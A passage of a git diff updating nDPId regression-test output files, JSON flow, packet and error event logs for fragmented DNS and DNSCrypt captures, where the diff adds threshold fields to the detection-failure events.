q6wm1BUfx7MwwcEVuO2B0YmUyiPiSfUoGTwm2P1nGNMhlYij3bY9VvyxCqPQnK0s5Tr3ADAAwAAEAAAA8AggBAQMKAwEAAd3v\/e0irXYKOwtYEB3VPe7z99qvi5le9\/y1XXyplp5y\/5xaqrm\/relG8pgx8GsNW2IgviJKAJ6UiU45ERKoH+fz2qf2SUFHFWwkweiWyLZ4EZHhowviCEx94P4OswNKXmdYHe38rlHPa+3OypW9gYfR9lhCKK3neCPq8\/aFFsTTI7dQ+Q2kERWiCMCybl4WOwsBo\/RlnPM4yufMKIlABiM5NWQPNmI6jYzAYpYoyUhd9HnnIIDlNQ89HpXQdFmysMraXYb7qDOoOEiOodttKH0y\/vtJ2SRU05RF4AEumacIUzAi5LL2cMQxC7t7rlDI4X42NRfOLAqGuOeclFjzqz3OdAJWeg\/AAnSbb02AGCkQ370TX1hWveAXt6xpPWOLgHXSLIF\/lz+wl+Dm8ZNWDnn5zEJuEj3xova1g8zmRXJOmqA6VhGqewxF8c+yKeNEOHz4X4\/RLmWHIuEbvboP00Dk5A9bhyZGVsytOJg+NwhFQtvBWLmD82FFtfSt2vmbFFNwAZOnRZWJOG9L7TFcGIm1OEULmohUyFLsBGMXDFOu1k0o6pqm495tsBuMyJNpfdQoPwOkUpsKi6jmNq6vRjvvNiJbcFylTQrqHGTGuOopuUsBbUXj\/nOr4I6j42k6GDIuTyLDkaVrdrxXmGnfNnStdqWmvHXo\/YFwdls9bcT7wAwALgABAAAAPAIfADAKAgAAADxdChURXOJ+MzN7CHdlYmVybGFiAmRlAB+yP4V\/njTX1ZrAUX52Q4ppNzTYQFwUb\/fZ7UyQYLNxrrstLuUEImGhNwZoGn47E0jCxJscYiApT\/lYiL2L1ySUl4RKqHIjPNuYuibs67t5ZabkYsahlYEA\/lOcM3eIQx9pu5Og7p1d2yBSUETOBiGw2mFf2+ESni6Ue4XPXEEYzAhiMRhuYOJAy8gBqoPjkRBcJfWJSQLCsK1uYySkTZfbAzgJeVM0nXd6azgG0BhRE+LeaO6rN3QVHDtfgnwRdZ0mqwEcP9Ixz7o9MUVSKZ24Kp1QfS5nvEHn5PilNALbZYZOO0cQAeV8BhlxVuALLDecEOLC8sY1mx6ozY5\/aRypyHA9HCrJT0qIHJwgtxE7ldoWyzsz32MKgZvCYMZSPOXK\/W3p61FPtD4iT4Id6xXDvyRuALL3waMUMwy3mSjXDHAdpXWaCOMfYx2IzRk4rN5TDQtUohYwaoSbystwDYKnhZGi9jS0G8FObyWhTrKCl7aTkMBaFEejCh0dfD5WJP+MDS\/TR32BG0S+GtGTl4n1Y8wgyP7nkz3\/REcevkIvpJRUImVc8A\/VPTI+9KvBSkoLPA9Za\/IpqUpgDVsKWU5bp0V0TdEryxvtwOnVXXdH0\/hJMgIgWhmZzY2\/UVoRBVGptWsAIhn5sO+UhcjvZ41p3t\/1mWp23BdUACblNtHcw2MALgABAAAAPAEfADAKAgAAADxdChURXOJ+M5BHCHdlYmVybGFiAmRlAHoYKuiyNMNSWsfXwtRR8n\/pKy73at02yEwt1EoWyfptV8sUoxs="} 01019{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":16,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":6,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1558968021026749,"flow_src_last_pkt_time":1558968021026749,"flow_dst_last_pkt_time":1558968021027012,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":40,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":40,"flow_dst_max_l4_payload_len":1472,"flow_src_tot_l4_payload_len":40,"flow_dst_tot_l4_payload_len":1472,"midstream":0,"thread_ts_usec":1558968021027012,"l3_proto":"ip4","src_ip":"74.125.47.136","dst_ip":"193.24.227.238","src_port":59330,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS.Google","proto_id":"5.126","encrypted":0,"breed":"Acceptable","category_id":5,"category":"Web","hostname":"weberlab.de","dns": {"num_queries":1,"num_answers":5,"reply_code":0,"query_type":48,"rsp_type":48,"rsp_addr":"0.0.0.0"}}} -00213{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":17,"source":"dns_fragmented.pcap","alias":"nDPId-test","l4_data_len":230,"global_ts_usec":1558968021027052} +00313{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":5,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1558968021027052,"packet_id":17,"source":"dns_fragmented.pcap","alias":"nDPId-test","l4_data_len":230,"global_ts_usec":1558968021027052} 00634{"packet_event_id":1,"packet_event_name":"packet","packet_id":17,"source":"dns_fragmented.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":264,"pkt_l4_len":0,"thread_ts_usec":1558968021027012,"pkt":"AIac51UUAAwpil3XCABFAAD6iTwAuUAR0PHBGOPuSn0viJJWaQ8FS9tIHo+oVjY51cy6+fgiJNB2zCSb2h1J8D40RJyUZYc0lguNGrMzvogBYnbxInuDKD2B8SGaumxsynJulBSZTde74knucmk+7g4DbM0zyfRD0W3RhD3u0NFdji\/0zmiI817VkCE2GpVvuL3F8KDCC+EMYjJlOHqM+STJxPq9ZF8xJcVITkC6EY6CdRmYmQdqvRYWzDXPjGtyu5XT13H1VC8IJisNUehBDr2PeppANUdXFlyqVQ6mARL6UnTBT0xam7DpmuxycO7BOql2rC7KBJb4lykg9AAAKRAAAACAAAAA"} 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":18,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":7,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1558968031134211,"flow_src_last_pkt_time":1558968031134211,"flow_dst_last_pkt_time":1558968031134211,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":59,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":59,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":59,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1558968031134211,"l3_proto":"ip6","src_ip":"2a00:1450:4013:c05::10e","dst_ip":"2001:470:765b::a25:53","src_port":34944,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00609{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_src_last_pkt_time":1558968031134211,"flow_dst_last_pkt_time":1558968031134211,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":121,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":121,"pkt_l4_len":67,"thread_ts_usec":1558968031134211,"pkt":"AAwpil3XAIac51UUht1gCRS7AEMRbCoAFFBAEwwFAAAAAAAAAQ4gAQRwdlsAAAAAAAAKJQBTiIAANQBD+GeeBgAQAAEAAAAAAAEDZmcyCHdlYmVybGFiAmRlAAAcAAEAACkQAAAAgAAADwAIAAsAAjgAIAEEcB8LFg=="} @@ -104,14 +104,14 @@ 00600{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":2,"flow_src_last_pkt_time":1560869905222619,"flow_dst_last_pkt_time":1560869900222469,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":114,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":114,"pkt_l4_len":60,"thread_ts_usec":1560869905222619,"pkt":"CFsOoYNeAAwpfKTLht1gDZ0NADwRQCABBHAfCxawAgwp\/\/58pMsgAQRwdlsAAAAAAAAKJQBT2bEANQA8zxHCoAEgAAEAAAAAAAEId2ViZXJsYWICZGUAADAAAQAAKRAAAACAAAAMAAoACPFs5uYvfUZc"} 02472{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":3,"flow_src_last_pkt_time":1560869905222619,"flow_dst_last_pkt_time":1560869905232984,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1494,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":62,"pkt_len":1494,"pkt_l4_len":1432,"thread_ts_usec":1560869905232984,"pkt":"AAwpfKTLCFsOoYNeht1gC9IyBaAsPCABBHB2WwAAAAAAAAolAFMgAQRwHwsWsAIMKf\/+fKTLEQAAAQAABpoANdmxBspAOcKghQAAAQAEAAAAAQh3ZWJlcmxhYgJkZQAAMAABwAwAMAABAAAAPAIIAQEDCgMBAAHd7\/3tIq12CjsLWBAd1T3u8\/far4uZXvf8tV18qZaecv+cWqq5v63pRvKYMfBrDVtiIL4iSgCelIlOORESqB\/n89qn9klBRxVsJMHolsi2eBGR4aML4ghMfeD+DrMDSl5nWB3t\/K5Rz2vtzsqVvYGH0fZYQiit53gj6vP2hRbE0yO3UPkNpBEVogjAsm5eFjsLAaP0ZZzzOMrnzCiJQAYjOTVkDzZiOo2MwGKWKMlIXfR55yCA5TUPPR6V0HRZsrDK2l2G+6gzqDhIjqHbbSh9Mv77SdkkVNOUReABLpmnCFMwIuSy9nDEMQu7e65QyOF+NjUXziwKhrjnnJRY86s9znQCVnoPwAJ0m29NgBgpEN+9E19YVr3gF7esaT1ji4B10iyBf5c\/sJfg5vGTVg55+cxCbhI98aL2tYPM5kVyTpqgOlYRqnsMRfHPsinjRDh8+F+P0S5lhyLhG726D9NA5OQPW4cmRlbMrTiYPjcIRULbwVi5g\/NhRbX0rdr5mxRTcAGTp0WViThvS+0xXBiJtThFC5qIVMhS7ARjFwxTrtZNKOqapuPebbAbjMiTaX3UKD8DpFKbCouo5jaur0Y77zYiW3BcpU0K6hxkxrjqKblLAW1F4\/5zq+COo+NpOhgyLk8iw5Gla3a8V5hp3zZ0rXalprx16P2BcHZbPW3E+8AMADAAAQAAADwBCAEAAwoDAQAB0FTcKPFQrDtJ5jNrtzHKr9eDfOdVCwzO4X9R4tqKA65u0keHGEv6bXb0jFCRMqjwlEhdwpcP5pWLO2KaXz7wE8JcU09+0Wl0ULMFE0YeP9xrWD8WVyTq\/lq9p8H+EaptYpjYsQYpvmS1hYaPwkHSasoaoNlU\/KJ4LR1hW\/TaI5o69SF2XtC2BXJtHdXqAeWGgbQHEb4ZuNSn43I8KVu4w4jB+VtUYHn3jo\/JAZCCcY1fYvUwe6Y5pgL8PdSfLNBk0yaqPzkbAM0\/AR4N8urrCbUFR\/HszDBwRW47YHRiZTKI+JJ9SgZPCbY\/WcY0yGViKPdtj1W\/LEKo9CcrSzlOvcAMAC4AAQAAADwCHwAwCgIAAAA8XSexsF0AI8Ezewh3ZWJlcmxhYgJkZQDDZMohasNCzdZy+qXT+i9EuX\/inlaoHckoPQ6pZUM55HOKiXWwbCF2bgR2vTatltfgdQMYsjHLb9y8\/8K16x1bINo7jHhPhiQ3mZPnhRDbC819\/mg\/DAJlEfo4\/PIHroaOXHkEsxclA3Sfl5XzqMY8dIIjCMSIRohmpz3ajd1g8Q5nPhvruiTi3rbkkaFuvAu6JBazSxvplBTGRsLiwD\/keT1H0ch7BVc1oZ6xmkqy68vIsD63Fj1r1Prt7pmrCHTCuEgsO78D9dCQuWCLkJQxGUVXJj5CI3Hv7xFFgpu2WdK7EiEBH5rHphjb8hJPFep1cggzgdSO7gr4PL16UQJ4paFWEovlSSSKN6CqV0KlzY5UKpoC4bOcRMiiujkcgLRcJzDNjTcP59699eiRBYcnSUNu7NR\/AQOsLe1gcGBMYVI28uXABijFJJPUYQFFRKKQYYy7U8augfodJClNM+5PjDrN7VUaoyW\/CtbFigLZaje\/SbLFkod9oTkuhnetL7fyEnlGfxKmEZ218qPcsKDJRrRyymc+WdZ+tPcZvQXr6AVS7RZSoUTV\/+5dVd2kWuuF2w5rsnAIOU3wwIEPhsTwq9njhb9Bp9jOMH3FFbo4srNvY4pocOs9Lic1Os813bu7VyQz3Nrv\/xfPOPvvG\/\/ufcPEO13FnB7dwg\/ymTeeu8NjAC4AAQAAADwBHwAwCgIAAAA8XSexsF0AI8GQRwh3"} 01046{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":38,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":16,"flow_state":"info","flow_src_packets_processed":2,"flow_dst_packets_processed":1,"flow_first_seen":1560869900222469,"flow_src_last_pkt_time":1560869905222619,"flow_dst_last_pkt_time":1560869905232984,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":52,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":52,"flow_dst_max_l4_payload_len":1424,"flow_src_tot_l4_payload_len":104,"flow_dst_tot_l4_payload_len":1424,"midstream":0,"thread_ts_usec":1560869905232984,"l3_proto":"ip6","src_ip":"2001:470:1f0b:16b0:20c:29ff:fe7c:a4cb","dst_ip":"2001:470:765b::a25:53","src_port":55729,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"weberlab.de","dns": {"num_queries":1,"num_answers":5,"reply_code":0,"query_type":48,"rsp_type":48,"rsp_addr":"0.0.0.0"}}} -00214{"error_event_id":12,"error_event_name":"nDPI IPv6\/L4 payload detection failed","datalink":1,"packet_id":39,"source":"dns_fragmented.pcap","alias":"nDPId-test","l4_data_len":334,"global_ts_usec":1560869905233034} +00314{"error_event_id":12,"error_event_name":"nDPI IPv6\/L4 payload detection failed","datalink":1,"threshold_n":1,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1560869905233034,"packet_id":39,"source":"dns_fragmented.pcap","alias":"nDPId-test","l4_data_len":334,"global_ts_usec":1560869905233034} 00779{"packet_event_id":1,"packet_event_name":"packet","packet_id":39,"source":"dns_fragmented.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":368,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":368,"pkt_l4_len":0,"thread_ts_usec":1560869905232984,"pkt":"AAwpfKTLCFsOoYNeht1gC9IyATosPCABBHB2WwAAAAAAAAolAFMgAQRwHwsWsAIMKf\/+fKTLEQAFmAAABpplYmVybGFiAmRlAKU8TJxFacYrnzjzribJyhzI\/PZTM81o7M0N53bVhGij+9zhJRNeoUG2ZbhJAUMEBAu7geapxJ7U1z+UqhkFSi8Qu6jROnMih5xzmixXOjO2RiHT8eMzQMHqilreexmdz+7rH4jCggpAg2YenRMzpvhrf0+OEWUNhwq6dNYVlNWg1Yf1oxCRsZ6Xiq2pemle4KOkgobWECgdELaMnIZKUJ0WtpAZJuCbAIPvak3YgHcNPR4Sbx1lKRTPW6QxjFsHJ5X\/B6mNMVtqG97wzaO\/ugVwH81Qt2Llpj5Wb873AtMbd7OQYLwhJ7fhxJ9xNJn6SlVRp6C+1P2Wyu\/7U0mgP+sAACkQAAAAgAAAHAAKABjxbObmL31GXCozdz5dCPwRZU4FwINgbJY="} 00762{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":40,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":17,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1560869910534637,"flow_src_last_pkt_time":1560869910534637,"flow_dst_last_pkt_time":1560869910534637,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":52,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":52,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":52,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1560869910534637,"l3_proto":"ip4","src_ip":"194.247.5.6","dst_ip":"193.24.227.238","src_port":51791,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00571{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_src_last_pkt_time":1560869910534637,"flow_dst_last_pkt_time":1560869910534637,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":94,"pkt_l4_len":60,"thread_ts_usec":1560869910534637,"pkt":"CFsOoYNeAAwpfKTLCABFAABQVdgAAEARt8DC9wUGwRjj7spPADUAPG1Sic4BIAABAAAAAAABCHdlYmVybGFiAmRlAAAwAAEAACkQAAAAgAAADAAKAAgdxATcWA6WbA=="} 00997{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":40,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":17,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1560869910534637,"flow_src_last_pkt_time":1560869910534637,"flow_dst_last_pkt_time":1560869910534637,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":52,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":52,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":52,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1560869910534637,"l3_proto":"ip4","src_ip":"194.247.5.6","dst_ip":"193.24.227.238","src_port":51791,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"weberlab.de","dns": {"num_queries":0,"num_answers":0,"reply_code":0,"query_type":48,"rsp_type":0,"rsp_addr":"0.0.0.0"}}} 02498{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":2,"flow_src_last_pkt_time":1560869910534637,"flow_dst_last_pkt_time":1560869910547607,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":1560869910547607,"pkt":"AAwpfKTLCFsOoYNeCABFAAXc3KUgAEARC2fBGOPuwvcFBgA1yk8Gysn4ic6FAAABAAQAAAABCHdlYmVybGFiAmRlAAAwAAHADAAwAAEAAAA8AQgBAAMKAwEAAdBU3CjxUKw7SeYza7cxyq\/Xg3znVQsMzuF\/UeLaigOubtJHhxhL+m129IxQkTKo8JRIXcKXD+aViztiml8+8BPCXFNPftFpdFCzBRNGHj\/ca1g\/Flck6v5avafB\/hGqbWKY2LEGKb5ktYWGj8JB0mrKGqDZVPyieC0dYVv02iOaOvUhdl7QtgVybR3V6gHlhoG0BxG+GbjUp+NyPClbuMOIwflbVGB5946PyQGQgnGNX2L1MHumOaYC\/D3UnyzQZNMmqj85GwDNPwEeDfLq6wm1BUfx7MwwcEVuO2B0YmUyiPiSfUoGTwm2P1nGNMhlYij3bY9VvyxCqPQnK0s5Tr3ADAAwAAEAAAA8AggBAQMKAwEAAd3v\/e0irXYKOwtYEB3VPe7z99qvi5le9\/y1XXyplp5y\/5xaqrm\/relG8pgx8GsNW2IgviJKAJ6UiU45ERKoH+fz2qf2SUFHFWwkweiWyLZ4EZHhowviCEx94P4OswNKXmdYHe38rlHPa+3OypW9gYfR9lhCKK3neCPq8\/aFFsTTI7dQ+Q2kERWiCMCybl4WOwsBo\/RlnPM4yufMKIlABiM5NWQPNmI6jYzAYpYoyUhd9HnnIIDlNQ89HpXQdFmysMraXYb7qDOoOEiOodttKH0y\/vtJ2SRU05RF4AEumacIUzAi5LL2cMQxC7t7rlDI4X42NRfOLAqGuOeclFjzqz3OdAJWeg\/AAnSbb02AGCkQ370TX1hWveAXt6xpPWOLgHXSLIF\/lz+wl+Dm8ZNWDnn5zEJuEj3xova1g8zmRXJOmqA6VhGqewxF8c+yKeNEOHz4X4\/RLmWHIuEbvboP00Dk5A9bhyZGVsytOJg+NwhFQtvBWLmD82FFtfSt2vmbFFNwAZOnRZWJOG9L7TFcGIm1OEULmohUyFLsBGMXDFOu1k0o6pqm495tsBuMyJNpfdQoPwOkUpsKi6jmNq6vRjvvNiJbcFylTQrqHGTGuOopuUsBbUXj\/nOr4I6j42k6GDIuTyLDkaVrdrxXmGnfNnStdqWmvHXo\/YFwdls9bcT7wAwALgABAAAAPAIfADAKAgAAADxdJ7GwXQAjwTN7CHdlYmVybGFiAmRlAMNkyiFqw0LN1nL6pdP6L0S5f+KeVqgdySg9DqllQznkc4qJdbBsIXZuBHa9Nq2W1+B1AxiyMctv3Lz\/wrXrHVsg2juMeE+GJDeZk+eFENsLzX3+aD8MAmUR+jj88geuho5ceQSzFyUDdJ+XlfOoxjx0giMIxIhGiGanPdqN3WDxDmc+G+u6JOLetuSRoW68C7okFrNLG+mUFMZGwuLAP+R5PUfRyHsFVzWhnrGaSrLry8iwPrcWPWvU+u3umasIdMK4SCw7vwP10JC5YIuQlDEZRVcmPkIjce\/vEUWCm7ZZ0rsSIQEfmsemGNvyEk8V6nVyCDOB1I7uCvg8vXpRAniloVYSi+VJJIo3oKpXQqXNjlQqmgLhs5xEyKK6ORyAtFwnMM2NNw\/n3r316JEFhydJQ27s1H8BA6wt7WBwYExhUjby5cAGKMUkk9RhAUVEopBhjLtTxq6B+h0kKU0z7k+MOs3tVRqjJb8K1sWKAtlqN79JssWSh32hOS6Gd60vt\/ISeUZ\/EqYRnbXyo9ywoMlGtHLKZz5Z1n609xm9BevoBVLtFlKhRNX\/7l1V3aRa64XbDmuycAg5TfDAgQ+GxPCr2eOFv0Gn2M4wfcUVujiys29jimhw6z0uJzU6zzXdu7tXJDPc2u\/\/F884++8b\/+59w8Q7XcWcHt3CD\/KZN567w2MALgABAAAAPAEfADAKAgAAADxdJ7GwXQAjwZBHCHdlYmVybGFiAmRlAKU8TJxFacYrnzjzribJyhzI\/PZTM81o7M0N53bVhGij+9zhJRM="} 01012{"flow_event_id":8,"flow_event_name":"detection-update","thread_id":0,"packet_id":41,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":17,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":1,"flow_first_seen":1560869910534637,"flow_src_last_pkt_time":1560869910534637,"flow_dst_last_pkt_time":1560869910547607,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":52,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":52,"flow_dst_max_l4_payload_len":1472,"flow_src_tot_l4_payload_len":52,"flow_dst_tot_l4_payload_len":1472,"midstream":0,"thread_ts_usec":1560869910547607,"l3_proto":"ip4","src_ip":"194.247.5.6","dst_ip":"193.24.227.238","src_port":51791,"dst_port":53,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNS","proto_id":"5","encrypted":0,"breed":"Acceptable","category_id":14,"category":"Network","hostname":"weberlab.de","dns": {"num_queries":1,"num_answers":5,"reply_code":0,"query_type":48,"rsp_type":48,"rsp_addr":"0.0.0.0"}}} -00213{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":42,"source":"dns_fragmented.pcap","alias":"nDPId-test","l4_data_len":258,"global_ts_usec":1560869910547645} +00313{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"threshold_n":2,"threshold_n_max":16,"threshold_time":10000000,"threshold_ts_usec":1560869910547645,"packet_id":42,"source":"dns_fragmented.pcap","alias":"nDPId-test","l4_data_len":258,"global_ts_usec":1560869910547645} 00680{"packet_event_id":1,"packet_event_name":"packet","packet_id":42,"source":"dns_fragmented.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":292,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":292,"pkt_l4_len":0,"thread_ts_usec":1560869910547607,"pkt":"AAwpfKTLCFsOoYNeCABFAAEW3KUAuUARL3TBGOPuwvcFBl6hQbZluEkBQwQEC7uB5qnEntTXP5SqGQVKLxC7qNE6cyKHnHOaLFc6M7ZGIdPx4zNAweqKWt57GZ3P7usfiMKCCkCDZh6dEzOm+Gt\/T44RZQ2HCrp01hWU1aDVh\/WjEJGxnpeKral6aV7go6SChtYQKB0QtoychkpQnRa2kBkm4JsAg+9qTdiAdw09HhJvHWUpFM9bpDGMWwcnlf8HqY0xW2ob3vDNo7+6BXAfzVC3YuWmPlZvzvcC0xt3s5BgvCEnt+HEn3E0mfpKVVGnoL7U\/ZbK7\/tTSaA\/6wAAKRAAAACAAAAcAAoAGB3EBNxYDpZslD4VVl0I\/BakNFp6chM\/YQ=="} 00794{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":43,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":18,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1560869913732416,"flow_src_last_pkt_time":1560869913732416,"flow_dst_last_pkt_time":1560869913732416,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":44,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":44,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":44,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1560869913732416,"l3_proto":"ip6","src_ip":"2001:470:1f0b:16b0:20c:29ff:fe7c:a4cb","dst_ip":"2606:4700:4700::1111","src_port":60550,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 00593{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"dns_fragmented.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_src_last_pkt_time":1560869913732416,"flow_dst_last_pkt_time":1560869913732416,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":106,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":106,"pkt_l4_len":52,"thread_ts_usec":1560869913732416,"pkt":"CFsOoYNeAAwpfKTLht1gCfvPADQRQCABBHAfCxawAgwp\/\/58pMsmBkcARwAAAAAAAAAAABER7IYANQA07tw\/fwEAAAEAAAAAAAEDbnMyCHdlYmVyZG5zAmRlAAAcAAEAACkCAAAAAAAAAA=="} @@ -158,6 +158,6 @@ ~~ total memory freed........: 6072901 bytes ~~ total allocations/frees...: 121777/121777 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -~~ json string min len.......: 217 chars +~~ json string min len.......: 317 chars ~~ json string max len.......: 2505 chars -~~ json string avg len.......: 1361 chars +~~ json string avg len.......: 1411 chars diff --git a/test/results/dnscrypt-v1-and-resolver-pings.pcap.out b/test/results/dnscrypt-v1-and-resolver-pings.pcap.out index 0d87b3f1e..25f6ad70c 100644 --- a/test/results/dnscrypt-v1-and-resolver-pings.pcap.out +++ b/test/results/dnscrypt-v1-and-resolver-pings.pcap.out @@ -6,12 +6,12 @@ 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":2,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946735705348955,"flow_src_last_pkt_time":946735705348955,"flow_dst_last_pkt_time":946735705348955,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946735705348955,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"149.56.228.45","src_port":45722,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02480{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_src_last_pkt_time":946735705348955,"flow_dst_last_pkt_time":946735705348955,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946735705348955,"pkt":"REREREREZmZmZmZmCABFAAXcCgAgAL0Rk+4KAAABlTjkLbKaAbsGBGxVf0QBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdARjYS0yAAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA